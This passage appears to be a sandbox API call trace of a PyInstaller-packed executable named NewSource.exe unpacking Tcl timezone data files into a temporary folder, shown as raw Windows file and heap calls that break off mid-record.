MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.694] GetFileType (hFile=0x10c) returned 0x1 [0040.694] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.694] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.694] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.694] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.694] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.695] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.695] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.695] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.695] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.695] CloseHandle (hObject=0x10c) returned 1 [0040.695] GetLastError () returned 0x0 [0040.695] SetLastError (dwErrCode=0x0) [0040.695] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.695] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.695] GetFileType (hFile=0x10c) returned 0x1 [0040.695] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.695] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.695] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.695] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.695] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.695] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.695] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.695] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.695] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.695] CloseHandle (hObject=0x10c) returned 1 [0040.695] GetLastError () returned 0x0 [0040.695] SetLastError (dwErrCode=0x0) [0040.695] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Taipei") returned 68 [0040.695] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Taipei" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\taipei"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.696] GetLastError () returned 0x2 [0040.696] SetLastError (dwErrCode=0x2) [0040.696] GetLastError () returned 0x2 [0040.696] SetLastError (dwErrCode=0x2) [0040.696] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Taipei", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Taipei", lpFilePart=0x0) returned 0x43 [0040.696] GetLastError () returned 0x2 [0040.696] SetLastError (dwErrCode=0x2) [0040.696] GetLastError () returned 0x2 [0040.696] SetLastError (dwErrCode=0x2) [0040.696] GetLastError () returned 0x2 [0040.696] SetLastError (dwErrCode=0x2) [0040.696] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Taipei") returned 68 [0040.696] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.696] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Taipei" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\taipei"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.697] GetFileType (hFile=0x10c) returned 0x1 [0040.697] htonl (hostlong=0x11050000) returned 0x511 [0040.697] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.697] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x511, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x511, lpOverlapped=0x0) returned 1 [0040.698] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.698] CloseHandle (hObject=0x10c) returned 1 [0040.698] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.698] htonl (hostlong=0x30000000) returned 0x30 [0040.698] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.698] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.698] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.698] GetFileType (hFile=0x10c) returned 0x1 [0040.698] htonl (hostlong=0x251d5b00) returned 0x5b1d25 [0040.698] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fcd25, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.698] htonl (hostlong=0x35010000) returned 0x135 [0040.698] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x135) returned 0x550600 [0040.698] htonl (hostlong=0x35010000) returned 0x135 [0040.698] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.698] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.698] htonl (hostlong=0x8f030000) returned 0x38f [0040.698] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x38f) returned 0x550740 [0040.698] htonl (hostlong=0x35010000) returned 0x135 [0040.698] htonl (hostlong=0x8f030000) returned 0x38f [0040.698] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.698] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.698] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.699] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.699] CloseHandle (hObject=0x10c) returned 1 [0040.699] GetLastError () returned 0x0 [0040.699] SetLastError (dwErrCode=0x0) [0040.699] GetLastError () returned 0x0 [0040.699] SetLastError (dwErrCode=0x0) [0040.699] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.699] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.699] GetFileType (hFile=0x10c) returned 0x1 [0040.699] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.699] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.699] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.699] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.699] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.699] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.699] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.699] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.699] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.699] CloseHandle (hObject=0x10c) returned 1 [0040.699] GetLastError () returned 0x0 [0040.699] SetLastError (dwErrCode=0x0) [0040.699] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.699] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.699] GetFileType (hFile=0x10c) returned 0x1 [0040.699] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.699] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.700] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.700] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.700] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.700] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.700] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.700] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.700] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.700] CloseHandle (hObject=0x10c) returned 1 [0040.700] GetLastError () returned 0x0 [0040.700] SetLastError (dwErrCode=0x0) [0040.700] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.700] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.700] GetFileType (hFile=0x10c) returned 0x1 [0040.700] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.700] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.700] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.700] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.700] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.700] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.700] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.700] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.701] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.701] CloseHandle (hObject=0x10c) returned 1 [0040.701] GetLastError () returned 0x0 [0040.701] SetLastError (dwErrCode=0x0) [0040.701] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tashkent") returned 70 [0040.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tashkent" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\tashkent"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.701] GetLastError () returned 0x2 [0040.701] SetLastError (dwErrCode=0x2) [0040.701] GetLastError () returned 0x2 [0040.701] SetLastError (dwErrCode=0x2) [0040.701] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tashkent", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tashkent", lpFilePart=0x0) returned 0x45 [0040.701] GetLastError () returned 0x2 [0040.701] SetLastError (dwErrCode=0x2) [0040.701] GetLastError () returned 0x2 [0040.701] SetLastError (dwErrCode=0x2) [0040.701] GetLastError () returned 0x2 [0040.701] SetLastError (dwErrCode=0x2) [0040.701] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tashkent") returned 70 [0040.701] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tashkent" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\tashkent"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.701] GetFileType (hFile=0x10c) returned 0x1 [0040.701] htonl (hostlong=0x8f030000) returned 0x38f [0040.701] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.701] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x38f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x38f, lpOverlapped=0x0) returned 1 [0040.702] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.702] CloseHandle (hObject=0x10c) returned 1 [0040.703] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550740 | out: hHeap=0x530000) returned 1 [0040.703] htonl (hostlong=0x30000000) returned 0x30 [0040.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.703] GetFileType (hFile=0x10c) returned 0x1 [0040.703] htonl (hostlong=0x5a1e5b00) returned 0x5b1e5a [0040.703] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fce5a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.703] htonl (hostlong=0xdf010000) returned 0x1df [0040.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1df) returned 0x550600 [0040.703] htonl (hostlong=0xdf010000) returned 0x1df [0040.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.703] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.703] htonl (hostlong=0xb7060000) returned 0x6b7 [0040.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6b7) returned 0x55e278 [0040.703] htonl (hostlong=0xdf010000) returned 0x1df [0040.703] htonl (hostlong=0xb7060000) returned 0x6b7 [0040.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.703] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.703] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.703] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.703] CloseHandle (hObject=0x10c) returned 1 [0040.703] GetLastError () returned 0x0 [0040.703] SetLastError (dwErrCode=0x0) [0040.703] GetLastError () returned 0x0 [0040.704] SetLastError (dwErrCode=0x0) [0040.704] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.704] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.704] GetFileType (hFile=0x10c) returned 0x1 [0040.704] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.704] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.704] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.704] CloseHandle (hObject=0x10c) returned 1 [0040.704] GetLastError () returned 0x0 [0040.704] SetLastError (dwErrCode=0x0) [0040.704] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.704] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.704] GetFileType (hFile=0x10c) returned 0x1 [0040.704] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.704] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: 